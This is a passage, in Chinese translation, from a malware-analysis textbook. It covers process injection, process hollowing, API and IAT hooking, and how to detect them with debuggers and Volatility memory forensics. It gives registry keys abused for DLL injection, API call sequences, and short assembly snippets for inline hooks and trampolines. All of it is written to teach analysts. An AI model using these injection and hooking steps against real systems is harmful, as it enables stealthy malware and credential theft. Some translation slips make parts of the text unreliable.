使用动态 WinAPI 解析时,只有一个具有不同参数的函数用于访问所有 WinAPI。它动态地搜索请求的 API(通常是相应的 DLL),通常使用提供的名称的某种校验和作为参数。使其可读的两种常见方法是:

  • enum 值。

  • 查找所有使用解析函数的地方,获取其校验和参数,并将其转换为相应的 enum 名称。

  • 使用注释

    1. 查找所有校验和、API 和 DLL 的匹配项。

    2. 将关联存储在内存中。

    3. 查找所有使用解析函数的地方,获取其校验和参数,并在旁边添加带有相应 API 名称的注释。

IDA 脚本实际上是区别初学者与专业分析师之间的关键,它能够帮助分析师高效地解决任何逆向工程问题。一旦你写了几个脚本并采用了这种方法,你就会发现更新或扩展这些脚本,增加新任务的额外功能变得相当简单。

总结

在本章中,我们介绍了各种类型的加壳工具并解释了它们之间的差异。我们还给出了如何识别所使用的加壳工具的建议。接着,我们介绍了几种如何自动和手动解包样本的技术,并提供了实际的例子,展示在不同情况下如何以最有效的方式进行解包。之后,我们介绍了更高级的手动解包方法,这些方法通常需要更多的时间来执行,但能让你在合理的时间内解包几乎任何样本。

此外,我们还介绍了不同的加密算法,并提供了如何识别和处理它们的指南。接着,我们通过一个现代恶意软件的例子,结合这些指南,帮助你了解如何将所有这些理论应用到实践中。最后,我们讲解了 IDA 脚本语言——这是一种大大加速分析过程的强大工具。

第五章检查进程注入与 API 钩子 中,我们将扩展对恶意软件作者用于实现其目标的各种技术的理解,并提供一些应对这些技术的小贴士。

第五章:检查进程注入和 API 挂钩

在本章中,我们将探索恶意软件作者为多种目的使用的更高级技术,包括绕过防火墙、欺骗逆向工程师、以及监视和收集用户信息以窃取信用卡数据等。

我们将深入探讨各种进程注入技术,包括 DLL 注入和进程空洞(由 Stuxnet 引入的高级技术),并解释如何处理这些技术。随后,我们将了解 API 挂钩、IAT 挂钩以及恶意软件作者使用的其他挂钩技术,并讲解如何应对它们。

到本章结束时,你将拓展你对 Windows 平台的知识,并能够分析更复杂的恶意软件。你将学习如何分析其他进程中的注入代码,通过内存取证检测它,检测不同类型的 API 挂钩技术,并分析它们以检测浏览器中人攻击MiTB)。

为了使学习过程更加顺利,本章分为以下几个主要部分:

  • 理解进程注入

  • DLL 注入

  • 更深入地了解进程注入

  • 代码注入的动态分析

  • 进程注入的内存取证技术

  • 理解 API 挂钩

  • 探索 IAT 挂钩

理解进程注入

进程注入是恶意软件作者用来绕过防火墙、执行内存取证技术、以及通过将恶意功能添加到合法进程中并以此方式隐藏来拖慢经验不足的逆向工程师的其中一种最著名的技术。在本节中,我们将介绍进程注入背后的原理,以及为什么它在如今的高级持续性威胁APT)攻击中被广泛使用。

什么是进程注入?

在 Windows 操作系统中,进程被允许在另一个进程的虚拟地址空间中分配内存、读取和写入数据,还可以创建新线程、挂起线程并更改这些线程的寄存器,包括explorer.exe或其他用户的进程。然而,将代码注入到当前用户的浏览器和其他进程中仍然是可以的。

该技术被多个终端安全产品合法使用,用于监控应用程序和沙盒目的(正如我们将在理解 API 挂钩一节中看到的那样),但也常常被恶意软件作者滥用。

为什么要使用进程注入?

对于恶意软件作者而言,进程注入有助于他们实现以下目标:

  • 绕过简单的防火墙,这些防火墙只允许浏览器或其他允许的应用程序连接互联网。通过将代码注入这些应用程序之一,恶意软件可以在没有任何警告或被防火墙阻止的情况下与指挥与控制C&C)服务器进行通信。

  • 通过在另一个未监控且未调试的进程中运行恶意代码,避开调试器和其他动态分析或监控工具。

  • 在恶意软件将代码注入的合法进程中钩取 API,这可以对受害者进程的行为进行独特控制。

  • 为无文件恶意软件维持持久性。通过将代码注入到后台进程中,恶意软件可以在几乎不重启的服务器上保持持久性,而不在硬盘上留下可执行文件。

现在,我们将深入探讨各种进程注入技术,了解它们的工作原理以及如何应对这些技术。我们将从最简单、最直接的技术开始:DLL 注入。

DLL 注入

Windows 操作系统允许进程将 DLL 加载到其他进程中,出于安全原因、沙箱隔离或甚至图形处理。在本节中,我们将探讨合法的、直接的将 DLL 注入进程的方法,以及其他允许攻击者使用 Windows API 将代码注入进程的技术。

Windows 支持的 DLL 注入

Windows 为符合特定条件的每个进程提供了特殊的注册表项,以便加载 DLL。许多注册表项允许恶意软件 DLL 同时注入到多个进程中,包括浏览器和其他合法进程。这些注册表项有很多,我们将在这里探讨最常见的几个:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这是恶意软件最常误用的注册表项之一,用来将 DLL 代码注入到其他进程中并维持持久性。此处指定的库与每个加载 user32.dll(主要用于 UI 的系统库)的进程一起加载。

在 Windows 7 中,DLL 必须签名,默认情况下此逻辑在 Windows 8 及更高版本中被禁用。然而,攻击者仍然可以通过将 RequireSignedAppInit_DLLs 设置为 False,并将 LoadAppInit_DLLs 设置为 True 来滥用这一点(请参见下面的截图)。攻击者需要管理员权限才能设置这些条目,可以通过社交工程等手段解决这一问题:

图 5.1 – 使用 AppInit_DLLs 注册表项将恶意软件库注入不同的浏览器

图 5.1 – 使用 AppInit_DLLs 注册表项将恶意软件库注入不同的浏览器

现在, let’s move to the next commonly misused registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls

该注册表项中列出的库会被加载到使用以下任一函数的每个进程中:

  • CreateProcess

  • CreateProcessAsUser

  • CreateProcessWithLogonW

  • CreateProcessWithTokenW

  • WinExec

这使得恶意软件可以注入到大多数浏览器中(因为许多浏览器会创建子进程来管理不同的标签页)以及其他应用程序。它仍然需要管理员权限,因为 HKEY_LOCAL_MACHINE 对普通用户在 Windows 系统上是不可写的(Vista 及更高版本):

HKEY_CURRENT_USER\Software\Classes\<AppName>\shellex\ContextMenuHandlers

该路径加载一个 shell 扩展(一个 DLL 文件),以便为主 Windows shell(explorer.exe)添加附加功能。基本上,它可以被滥用来将恶意库加载为 explorer.exe 的扩展。此路径可以轻松创建和修改,而无需任何管理员权限。

还有其他注册表项可以将恶意库注入到其他进程中,以及多个软件解决方案,例如 Sysinternals 的 Autoruns,可以让你查看是否有任何这些注册表项被用于当前系统的恶意用途:

图 5.2 – Sysinternals 套件中的 Autoruns 应用程序

图 5.2 – Sysinternals 套件中的 Autoruns 应用程序

这些是恶意软件最常用的合法方式,用来将 DLL 注入到不同的进程中。

重要说明

值得一提的是,许多资源称这种技术为 DLL 劫持,并将其与经典的进程注入分开追踪,因为在这种情况下,攻击者依赖操作系统来执行实际的注入,而不是自己进行注入。

现在,我们将探索更高级的技术,这些技术需要使用不同的 Windows API 来分配、写入并执行恶意代码在其他进程中。

一种简单的 DLL 注入技术

该技术使用 LoadLibraryA API(或其其他变体)作为通过 Windows PE 加载器加载恶意库并执行其入口点的方式。主要目标是将恶意 DLL 的路径注入到进程中,然后将控制权转交给该进程,启动地址为 LoadLibraryA API 的地址。当将 DLL 路径作为参数传递给该线程(该参数传递给 LoadLibraryA API)时,Windows PE 加载器会将 DLL 加载到进程中并无误地执行其代码。以下是结果内存的样子:

图 5.3 – 一个简单的 DLL 注入机制

图 5.3 – 一个简单的 DLL 注入机制

恶意软件通常遵循的确切步骤如下:

  1. 在其他进程中找到目标进程(更多细节见下节)。

  2. 使用 OpenProcess API 获取该进程的句柄,作为标识符传递给其他 API。

  3. 使用 VirtualAllocExVirtualAllocExNumaNtAllocateVirtualMemory 或类似的 API,在该进程的虚拟内存中分配一个空间。这个空间将用于写入恶意 DLL 文件的完整路径。另一种选择是使用 CreateFileMappingMapViewOfFileCreateSectionExNtCreateSection API 来准备该空间。

  4. 使用 WriteProcessMemoryNtWriteVirtualMemoryNtWow64WriteVirtualMemory64 等 API,或者借助 NtMapViewOfSection,将恶意 DLL 的路径写入进程中。

  5. 使用诸如CreateRemoteThread / NtCreateThreadExSuspendThreadSetThreadContextResumeThreadQueueUserAPC / NtQueueApcThread,甚至SetWindowHookEx等 API 加载并执行此 DLL,提供LoadLibraryA地址作为起始地址,DLL 路径的地址作为参数。

也可以使用具有类似功能的替代 API,例如,使用未记录的RtlCreateUserThread API 替代CreateRemoteThread

与我们将在接下来的章节中介绍的技术相比,这种技术相对简单。然而,该技术会在进程信息中留下恶意 DLL 的痕迹。任何简单的工具,例如LoadLibraryA,都可以检测到这一点。

在下一节中,我们将深入探讨并介绍更多高级技术。它们仍然依赖于我们之前描述的 API,但包括更多步骤,以确保进程注入的成功。

深入研究进程注入

在本节中,我们将介绍进程注入的中级到高级技术。这些技术不会在磁盘上留下痕迹,可以使无文件恶意软件保持持久性。在介绍这些技术之前,我们先讨论恶意软件如何找到它想要注入的进程——特别是,它是如何获取正在运行的进程列表,包括它们的名称和进程 IDPID)。

寻找目标进程

为了让恶意软件获取正在运行的进程列表,通常会执行以下步骤:

  1. 创建当前所有正在运行的进程快照。该快照包含关于所有运行进程的信息,包括它们的名称、PID 和其他重要信息。可以通过CreateToolhelp32Snapshot API 获取此快照。通常,当TH32CS_SNAPPROCESS作为参数传递时(用于获取正在运行的进程的快照,而不是线程或已加载的库)。

  2. 使用Process32First API 获取列表中的第一个进程。此 API 获取快照中的第一个进程,并开始对进程列表进行迭代。

  3. 循环调用Process32Next API,依次获取列表中的每个进程,包括其名称和 PID,如下图所示:

图 5.4 – 使用 CreateToolhelp32Snapshot 进行进程搜索

图 5.4 – 使用 CreateToolhelp32Snapshot 进行进程搜索

一旦找到目标进程,恶意软件就进入下一阶段,通过执行OpenProcess API,并传入进程的 PID,就像我们在上一节中学到的那样。

代码块注入

这项技术与 DLL 注入非常相似。这里的区别实际上在于目标进程内部执行的代码。在这种技术中,恶意软件注入一段汇编代码(作为字节数组),并直接将控制权转交给它。这段代码是位置无关的。它具有加载自己的导入表、访问自己的数据,并在目标进程内执行所有恶意活动的能力。

恶意软件执行这些代码注入技术的步骤与前面的步骤几乎相同:

  1. 搜索目标进程(在图 5.4中,恶意软件通过 PID 跳过其他进程)。

  2. 获取该进程的句柄或其他标识符。

  3. 为这个进程的内存准备好足够的空间,以容纳将要注入的整个恶意代码(请参见图 5.5中的VirtualAllocEx调用)。

  4. 将这段代码复制到目标进程中(请参见图 5.5中的WriteIntoProcessMemory函数)。

  5. 将控制权转移到受害进程地址空间中的这段代码(请参见图 5.5中的CreateRemoteThreadFunc例程)。

一些恶意软件会将恶意软件进程的名称或 PID 传递给这段注入的代码,以便它能终止恶意软件(并可能删除其文件及所有痕迹),以确保没有恶意软件存在的明确证据。

在以下截图中,我们可以看到典型的代码注入示例:

图 5.5 – 代码注入示例

图 5.5 – 代码注入示例

与 DLL 注入在进程注入步骤上非常相似,但大部分繁重的工作都在这一段汇编代码中。我们将在第八章 处理漏洞和 Shellcode 中深入探讨这种位置独立、PE 独立的代码(即 Shellcode)。我们将解释它如何找到自己在内存中的位置,如何访问 API,以及如何执行恶意任务。

反射式 DLL 注入

在这种情况下,恶意软件不是注入代码块,而是将整个 DLL 注入到目标进程的内存中,但这次是直接从内存中读取,而不是从磁盘中读取。在这种情况下,加载程序将负责加载此负载,手动完成 Windows 加载程序的工作。

首先,恶意软件准备与 ImageBase 大小相同的内存,并按照 PE 加载步骤执行,包括导入表加载和修复重定位条目(在重定位表中,如我们在第三章 x86/x64 基本静态与动态分析 中所学到的),如以下截图所示:

图 5.6 – Shellcode 中的 PE 加载过程

图 5.6 – Shellcode 中的 PE 加载过程

正如我们在这里看到的,利用memcpy函数的帮助,每个部分在LoopOnSections循环中被单独复制。这个技术在结果上与 DLL 注入类似,但它不需要恶意 DLL 存储在硬盘上,也不会在进程环境块PEB)中留下 DLL 的常见痕迹。因此,只依赖 PEB 来检测 DLL 的内存取证应用程序将无法检测到加载在内存中的这个 DLL。更多细节可以在后面内存取证技术与进程注入部分中找到。

Stuxnet 秘密技术 – 进程空洞化

空心进程注入process hollowing)是一种高级技术,它在 Stuxnet 恶意软件中首次出现,然后在 APT 攻击领域广泛传播。空心进程注入的基本原理是将目标进程的 PE 内存镜像从其虚拟内存中移除,并用恶意软件的可执行文件替换它。

例如,恶意软件创建了一个新的进程,比如svchost.exe。在进程创建并加载了svchost的 PE 文件之后,恶意软件从内存中移除已加载的svchost PE 文件,然后在相同的位置加载恶意软件可执行文件的 PE 文件并继续执行。更多信息请参见以下代码示例。

该机制完全将恶意软件可执行文件伪装成一个合法的外衣,因为 PEB 和等同的EPROCESS对象仍然保存有关合法进程的信息。这有助于恶意软件绕过防火墙和内存取证工具。

这种形式的代码注入过程与之前的有所不同。以下是恶意软件为了实现这一点所需执行的步骤:

  1. 在挂起模式下创建一个合法进程,该进程创建进程及其第一个线程,但不会启动它:

图 5.7 – 在挂起模式下创建进程

图 5.7 – 在挂起模式下创建进程

使用VirtualFreeEx卸载合法应用程序的内存镜像(实现进程空心化)。

  1. 在内存中分配与卸载的 PE 镜像相同的空间(例如,使用VirtualAllocEx等 API 允许恶意软件选择一个空闲的首选地址进行分配)。

  2. 通过加载 PE 文件并修复其导入表(如果需要,解决其重定位表),将恶意软件可执行文件注入该空间。

  3. 使用SetThreadContext API 将线程的起始点更改为恶意软件的入口点。GetThreadContext API 允许恶意软件获取所有寄存器的值、线程状态以及恢复线程所需的所有信息,而SetThreadContext API 允许恶意软件更改这些值,包括 EIP/RIP 寄存器(指令指针),使其指向新的入口点。最后一步是恢复该挂起线程,从该点执行恶意软件:

图 5.8 – SetThreadContext 和 ResumeThread

图 5.8 – SetThreadContextResumeThread

这是最著名的空心进程注入技术。还有类似的技术,它们不卸载实际进程,而是将恶意软件和合法应用程序的可执行文件一起包括在内。

现在,我们将看看如何在我们的动态分析过程或内存取证过程中提取注入的代码并进行分析。

代码注入的动态分析

进程注入的动态分析相当棘手。恶意软件会从调试的进程中逃逸,转而在另一个进程中运行 shellcode 或加载 DLL。以下是一些可能帮助你调试注入代码的技巧。

技巧 1 – 在当前位置调试

第一个技巧,许多工程师首选的技巧,是不允许恶意软件注入 shellcode,而是将 shellcode 在恶意软件的内存中调试,仿佛它已经被注入。通常,恶意软件会将其 shellcode 注入另一个进程并从该 shellcode 的特定位置执行。我们可以在恶意软件的二进制文件中(或者如果被解密,可以在内存中)找到该 shellcode,并将 EIP/RIP 寄存器 (OllyDbg 中的 New origin here) 设置为该 shellcode 的入口点,然后从那里继续执行。这使得我们能够在调试的进程中执行 shellcode,甚至绕过一些检查,这些检查是用于检查该 shellcode 应该在哪个进程中运行的。

执行此技术的步骤如下:

  1. 一旦恶意软件调用诸如 VirtualAllocEx 等 API 为目标进程的内存准备 shellcode 空间,保存该分配空间的返回地址(假设返回地址为 0x300000)。

  2. 在内存写入 API 上设置断点,如 WriteProcessMemory,一旦触发,保存源地址和目标地址。源地址是恶意进程内 shellcode 在内存中的地址(假设是 0x450000),目标地址可能是 VirtualAllocEx 返回的地址。

  3. 现在,在控制转移 API 上设置一个断点,比如 CreateRemoteThread,并获取目标进程中该 shellcode 的入口点(如果有参数,也要获取参数)(假设入口点是 0x30012F)。

  4. 现在,计算恶意进程内 shellcode 入口点的地址,假设在此案例中为 0x30012F - 0x300000 + 0x450000 = 0x45012F

  5. 如果使用虚拟机进行调试(强烈推荐),首先保存一个快照,然后将 EIP 值设置为 shellcode 的入口点(0x45012F),设置任何必要的参数,并从那里继续调试。

这个技巧非常简单,调试和处理起来也很容易。然而,它仅适用于简单的 shellcode,且不适用于多重注入(多次调用 WriteProcessMemory)、进程空洞技术或复杂参数。之后需要小心调试,以避免由于 shellcode 在与预期不同的进程中运行而导致错误或漏洞。

技巧 2 – 附加到目标进程

另一个简单的解决方案是在恶意软件执行 CreateRemoteThread 之前附加到目标进程,或者修改 CreateRemoteThread 的创建标志为 CREATE_SUSPENDED,如以下所示:

CreateRemoteThread(Process, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibrary, (LPVOID)Memory, CREATE_SUSPENDED, NULL);

为了能够做到这一点,我们需要知道恶意软件将注入的目标进程。这意味着我们需要在Process32FirstProcess32Next这两个 API 上设置断点,并分析搜索 API 的代码,如strcmp或等效代码,以找到要注入的目标进程。并非所有的调用都是为了进程注入;例如,它们也可以作为反逆向工程的技巧,正如我们将在第六章中看到的那样,绕过反逆向工程技术

技术 3 – 处理进程空洞化

不幸的是,前两种技术在进程空洞化(process hollowing)中不起作用。在进程空洞化中,恶意软件创建了一个处于挂起状态的新进程,这使得 OllyDbg 和类似的调试器无法检测到它。因此,在恶意软件恢复进程并执行恶意代码之前,很难附加到它们,因为此时恶意代码已经未调试且未监控地执行了。

正如我们之前提到的,在进程空洞化中,恶意软件将合法的应用程序 PE 镜像空洞化,并将恶意 PE 镜像加载到目标进程内存中。处理此问题的最简单方法是设置在内存写入 API(如WriteProcessMemory)上的断点,在 PE 文件加载到目标进程内存之前将其转储。一旦断点触发,跟踪WriteProcessMemory的源参数,并向上滚动直到找到 PE 文件的起始位置(通常可以通过MZ签名和常见的This program cannot run in DOS mode文本识别,如以下屏幕截图所示):

图 5.9 – 在 OllyDbg 中的 PE 文件十六进制转储

图 5.9 – 在 OllyDbg 中的 PE 文件十六进制转储

一些恶意软件家族使用CreateSectionMapViewOfSection代替WriteProcessMemory。正如我们之前描述的,这两个 API 创建了一个内存对象,恶意可执行文件可以写入其中。这个内存对象也可以映射到另一个进程中。所以,在恶意软件将恶意 PE 镜像写入内存对象后,它将其映射到目标进程中,然后使用如CreateRemoteThread等 API 从其入口点开始执行。在这种情况下,我们可以在MapViewOfSection上设置断点,以获取映射内存对象的返回地址(在恶意软件写入任何数据之前)。

现在,可以设置一个写入断点,监视写入到此返回地址的任何操作(写入此内存对象等同于WriteProcessMemory)。

一旦您的断点触发,我们就能找出写入到该内存对象的数据(在进程空洞化的情况下,这很可能是一个 PE 文件)以及数据的来源,它包含了所有已卸载的 PE 文件,这样我们就可以轻松地将其转储到磁盘,并将其加载到调试器中,就像它被注入到另一个进程一样。

简而言之,这项技术就是在文件加载之前找到 PE 文件并将其作为普通可执行文件转储。一旦获取到文件,我们就得到了第二阶段的有效载荷。现在,我们只需要在调试器中调试它或对其进行静态分析。

现在,我们将看看如何使用一款名为 Volatility 的内存取证工具,从内存转储中检测和转储注入的代码(或注入的 PE 文件)。这可能比使用动态分析处理进程注入更加复杂。

进程注入的内存取证技术

由于使用进程注入的主要原因之一是为了隐藏恶意软件在内存取证工具中的存在,使用这些工具进行检测变得相当棘手。在本节中,我们将看看可以使用哪些不同的技术来检测不同类型的进程注入。

在这里,我们将使用一个名为 Volatility 的工具。这个工具是一个免费的开源内存取证程序,能够分析受感染机器的内存转储。那么,让我们开始吧。

技巧 1 – 检测代码注入和反射式 DLL 注入

检测进程中注入代码的主要红旗是,包含 shellcode 或加载的 DLL 的分配内存总是具有 EXECUTE 权限,并且不代表映射文件。当一个模块(可执行文件)通过 Windows PE 加载器加载时,它会被加载并带有 IMAGE 标志,以表示它是一个可执行文件的内存映射。但是,当这个内存页面正常通过 VirtualAlloc 分配时,它会被分配为 PRIVATE 标志,以表示它是为数据分配的:

图 5.10 – 一个 OllyDbg 内存映射窗口(加载的映像内存块和私有内存块)

图 5.10 – 一个 OllyDbg 内存映射窗口(加载的映像内存块和私有内存块)

私有分配内存具有 EXECUTE 权限并不常见,通常也不常见(如大多数 shellcode 注入所做的那样)拥有 WRITE 权限和 EXECUTE 权限(READ_WRITE_EXECUTE)。

在 Volatility 中,有一个名为 malfind 的命令。该命令可以在进程(或整个系统)中查找隐藏的和注入的代码。执行该命令时(给定镜像名称和操作系统版本),如果需要扫描特定进程,可以使用 PID 作为参数;如果不指定 PID,则会扫描整个系统,如下图所示:

图 5.11 – Volatility 中的 malfind 命令检测到一个 PE 文件(通过 MZ 头部)

图 5.11 – Volatility 中的 malfind 命令检测到一个 PE 文件(通过 MZ 头部)

如我们所见,malfind 命令在 Adobe Reader 进程中通过 MZ 头部检测到了一个注入的 PE 文件,地址为 0x003d0000

现在,我们可以使用 vaddump 命令转储此进程中的所有内存镜像。该命令会转储进程内部的所有内存区域,遵循该进程的 EPROCESS 内核对象及其虚拟内存映射(以及等效的物理内存页)。vaddump 将把所有内存区域转储到一个单独的文件中,如下图所示:

图 5.12 – 使用 Volatility 中的 vaddump 命令转储 0x003d000 地址

图 5.12 – 使用 Volatility 中的 vaddump 命令转储 0x003d000 地址

对于注入的 PE 文件,我们可以使用 dlldump 而不是 vaddump 将其转储到磁盘(并重建其头部和节,但不重建导入表),如下图所示:

图 5.13 – 使用 dlldump 给定 PID 和 DLL 的 ImageBase 作为 --base

图 5.13 – 使用 dlldump 给定 PID 和 DLL 的 ImageBase 作为 --base

之后,我们将获得恶意软件 PE 文件(或 shellcode)的内存转储,用于扫描和分析。这个转储不是完美的,但我们可以使用 strings 工具扫描它,或对其进行静态分析。我们可能需要通过在调试器中修复导入表的地址,并重新转储,或直接调试它来手动修复这些地址。

技巧 2 – 检测进程空洞化

当恶意软件从其进程中将应用程序 PE 镜像挖空时,Windows 会删除该内存空间与应用程序 PE 文件之间的任何连接。因此,在该地址上的任何分配都变成私有的,并且不代表任何已加载的镜像(或 PE 文件)。

然而,这种脱离仅发生在 EPROCESS 内核对象中,而不会发生在进程内存中可以访问的 PEB 信息中。在 Volatility 中,有两个命令可以列出进程中所有加载的模块。一个命令列出来自 PEB 信息(用户模式)的加载模块,即 dlllist,另一个列出来自 EPROCESS 内核对象信息(内核模式)的所有加载模块,即 ldrmodules。这两个命令的结果之间的任何不匹配都可能表示进程注入空洞化,如下图所示:

图 5.14 – 0x01000000 地址上的 lsass.exe 在 ldrmodules 中未链接到其 PE 文件

图 5.14 – 0x01000000 地址上的 lsass.exe 在 ldrmodules 中未链接到其 PE 文件

存在多种类型的不匹配,它们代表不同类型的进程空洞化,如下所示:

  • 当应用程序模块未链接到其 PE 文件时,如图 5.14所示,表示该进程已被空洞化,并且恶意软件已加载到同一位置。

  • 当应用程序模块出现在 dlllist 结果中,但在 ldrmodules 结果中完全没有时,这表示进程已被空洞化,且恶意软件可能已加载到另一个地址。malfind 命令可以帮助我们找到新地址,或者使用 vaddump 导出该进程中的所有内存区域,并扫描它们以查找 PE 文件(搜索 MZ 魔术字)。

  • 当应用程序出现在两个命令的结果中,并且与应用程序的 PE 文件名相关联,但在两个结果中模块地址不匹配时,这表示该应用程序并未被空洞化,而是恶意软件已被注入,且 PEB 信息已被篡改,以链接到恶意软件而不是合法应用程序的 PE 镜像。

在所有这些情况下,显示恶意软件使用进程空洞技术注入到该进程内部,vaddumpprocdump 将帮助导出恶意软件的 PE 镜像。

技术 3 – 使用 HollowFind 插件检测进程空洞化

有一个名为 HollowFind 的插件,它将所有这些命令结合起来。它可以找到可疑的内存空间或空洞进程的证据,并返回这些结果,如下图所示:

图 5.15 – HollowFind 插件用于检测空洞进程注入

图 5.15 – HollowFind 插件用于检测空洞进程注入

该插件还可以将内存镜像转储到指定目录:

图 5.16 – HollowFind 插件用于导出恶意软件的 PE 镜像

图 5.16 – HollowFind 插件用于导出恶意软件的 PE 镜像

所以,这就是关于进程注入的内容,以及如何使用 OllyDbg(或任何其他调试器)动态分析它,另外如何使用 Volatility 在内存转储中检测它。

在接下来的章节中,我们将介绍恶意软件作者使用的另一种重要技术,称为 API hooking。它通常与进程注入结合使用,用于中间人攻击(MITM)或使用用户模式根套件技术隐藏恶意软件的存在。

理解 API hooking

API hooking 是恶意软件作者常用的技术,用来拦截对 Windows API 的调用,以便更改这些命令的输入或输出。它是基于我们之前描述的进程注入技术。

这种技术使恶意软件作者能够完全控制目标进程,因此可以控制用户与该进程交互时的体验,包括浏览器和网页、杀毒软件及其扫描的文件等。通过控制 Windows API,恶意软件作者还可以从进程内存和 API 参数中捕获敏感信息。

由于 API hooking 被恶意软件作者使用,它也有不同的合法用途,例如恶意软件沙箱化和旧应用程序的向后兼容性。

因此,Windows 正式支持 API 钩取,正如我们在本章后续部分将看到的那样。

为什么需要 API 钩取?

恶意软件采用 API 钩取的原因有多个。让我们详细了解这一过程,并涵盖恶意软件作者通常钩取的 API,以实现他们的目的:

  • Process32FirstProcess32Next,这样可以将恶意软件进程从结果中移除

  • 文件列举 API,如 FindFirstFileAFindNextFileA

  • 注册表枚举 API,如 RegQueryInfoKeyRegEnumKeyEx

  • InternetConnectAHttpSendRequestAInternetReadFilewininet.dll API。ws2_32.dll 中的 WSARecvWSASend 也是可能的选择。* Firefox API,如 PR_ReadPR_WritePR_Close。* CreateProcessACreateProcessAsUserA 和类似的 API,用于注入到子进程或阻止某些进程启动。钩取 LoadLibraryALoadLibraryExA 也是可能的。

WinAPI 的 AW 版本(分别用于 ANSI 和 Unicode)可以通过相同的方式进行钩取。

使用 API 钩取

在本节中,我们将探讨不同的 API 钩取技术,从仅能更改 API 参数的简单方法,到用于不同银行木马(包括 Vawtrak)的更复杂方法。

内联 API 钩取

要钩取 API,恶意软件通常会修改 API 汇编代码的前几个字节(通常是 5 个字节),并用 jmp <hooking_function> 替换它们,从而改变 API 的参数,甚至跳过对该 API 的调用,返回一个假结果(如错误或 NULL)。在钩取之前,代码变化通常如下:

API_START:
mov edi, edi
push ebp
mov ebp, esp
...

然后,钩取后的代码如下所示:

API_START:
jmp hooking_function
...

因此,恶意软件将前 5 个字节(在本例中是三条指令)替换为一条指令,即 jmp 跳转到钩取函数。Windows 支持 API 钩取,并且添加了一条额外的指令 mov edi, edi,该指令占用 2 个字节,使得函数前导代码的大小为 5 个字节。这使得 API 钩取变得更加容易执行。

hooking_function 例程保存了替换的前 5 个字节,并使用它们来回调 API,例如,代码如下:

hooking_function:
...
<change API parameters>
...
mov edi, edi
push ebp
mov ebp, esp
jmp API+5 ; jump to the API after the first replaced 5 bytes

通过这种方式,hooking_function 可以无缝运行而不影响程序流。它可以改变 API 的参数,从而控制结果,并且可以直接执行 ret 返回程序,而不实际调用 API。

带有跳板的内联 API 钩取

在之前的简单钩取函数中,恶意软件可以更改 API 的参数。但是当使用跳板时,恶意软件还可以更改 API 的返回值及其相关数据。跳板只是一个小函数,它只执行 jmp 跳转到 API,并包含前 5 个缺失的字节(或三条指令,如前面的例子所示),如下所示:

trampoline:
mov edi, edi
push ebp
mov ebp, esp
jmp API+5 ; jump to the API after the first replaced 5 bytes

钩子函数不会跳回 API(因为这会最终将控制权交还给程序),而是将跳板作为 API 的替代调用。这个跳板将控制权转交给实际的 API,但当它完成执行后,控制权会被传回给钩子函数,API 的返回值会在返回控制权给程序之前由钩子函数进行修改,如下图所示:

图 5.17 – 带有跳板的钩子函数

图 5.17 – 带有跳板的钩子函数

钩子函数的代码看起来更加复杂:

hooking_function:
...
<change API parameters>
...
push API_argument03
push API_argument02
push API_argument01
call trampoline ; trampoline routine will execute jmp to the API, and, once done, the API will  return control back here
...
<change API return value>
...
ret ; return control back to the main program

这一步骤使恶意软件能够更好地控制 API 及其输出,例如,它可以将 JavaScript 代码注入到 InternetReadFilePR_Read 或其他 API 的输出中,从而窃取凭据或将钱转入其他银行账户。

使用长度反汇编器的内联 API 钩子

正如我们在之前的技术中看到的,API 钩子在你在每个 API 开始使用 mov edi, edi 指令时是非常简单的,这使得前 5 个字节在 API 钩子功能中是可预测的。不幸的是,并非所有 Windows API 都是这样,因此有时恶意软件家族不得不反汇编前几个指令,以避免破坏 API。

一些恶意软件家族,如 Vawtrak,使用长度反汇编器将一些指令(大小等于或大于 5 字节)替换为跳转指令(jmp),跳转到钩子函数,如下图所示。然后,它们将这些指令复制到跳板中,并向 API 添加一个 jmp 指令:

图 5.18 – 使用反汇编器的 Vawtrak API 钩子

F

图 5.18 – 使用反汇编器的 Vawtrak API 钩子

这样做的主要目的是确保跳板函数不会在指令中途跳回 API,并使 API 钩子能够无缝工作,不会对钩住的进程行为产生不可预测的影响。

使用内存取证检测 API 钩子

正如我们已经知道的,API 钩子通常与进程注入一起使用,在动态分析和内存取证中处理 API 钩子与处理进程注入非常相似。在之前的进程注入检测技术(使用 malfindhollowfind)的基础上,我们可以使用一个叫做 apihooks 的 Volatility 命令。这个命令扫描进程的库,搜索钩住的 API(以 jmpcall 开头),并显示钩住的 API 名称以及钩子函数的地址,如下图所示:

图 5.19 – 用于检测 API 钩子的 Volatility 命令 apihooks

图 5.19 – 用于检测 API 钩子的 Volatility 命令 apihooks

然后我们可以使用vaddump(如本章前面所描述)转储该内存地址,并使用 IDA Pro 或任何其他静态分析工具对 Shellcode 进行反汇编,从而理解该 API 钩子的动机。

最后,让我们来讨论 IAT 钩子。

探索 IAT 钩子

在实际 API 地址上执行jmp(或在将 API 参数推送到堆栈后执行调用),然后返回到实际程序,如下图所示:

图 5.20 – IAT 钩子机制

图 5.20 – IAT 钩子机制

这种钩子方法对于 API 的动态加载(使用GetProcAddressLoadLibrary)并不有效,但对于许多合法应用程序仍然有效,这些应用程序的大部分所需 API 都在导入表中。

摘要

本章中,我们已经介绍了许多恶意软件家族使用的两种非常著名的技术:进程注入和 API 钩子。这些技术用于多种目的,包括伪装恶意软件、绕过防火墙、维持无文件恶意软件的持久性、MITB 攻击等。

我们已经介绍了如何使用动态分析处理代码注入,以及如何检测代码注入和 API 钩子,并如何通过内存取证分析它们。

阅读本章后,您将对复杂的恶意软件以及它如何注入到合法进程中有更深入的了解。这将帮助您分析包含各种技术的网络攻击,并更有效地保护您的组织免受未来威胁。

第六章,《绕过反调试技术》中,我们将介绍恶意软件作者使用的其他技术,这些技术使逆向工程师更难分析样本并理解其行为。

第六章:绕过反向工程技术

在本章中,我们将介绍恶意软件作者用来保护其代码免受未经授权的分析师分析的各种反向工程技术。我们将熟悉各种方法,从检测调试器和其他分析工具,到断点检测、虚拟机VM)检测,甚至攻击反恶意软件工具和产品。

此外,我们还将介绍恶意软件作者用来避免垃圾邮件检测的虚拟机和沙盒检测技术,以及在各种企业中实现的自动恶意软件检测技术。由于这些反向工程技术被恶意软件作者广泛使用,因此了解如何检测和绕过它们非常重要,以便能够分析复杂或高度混淆的恶意软件。

本章分为以下几个部分:

  • 探索调试器检测

  • 处理调试器断点的规避

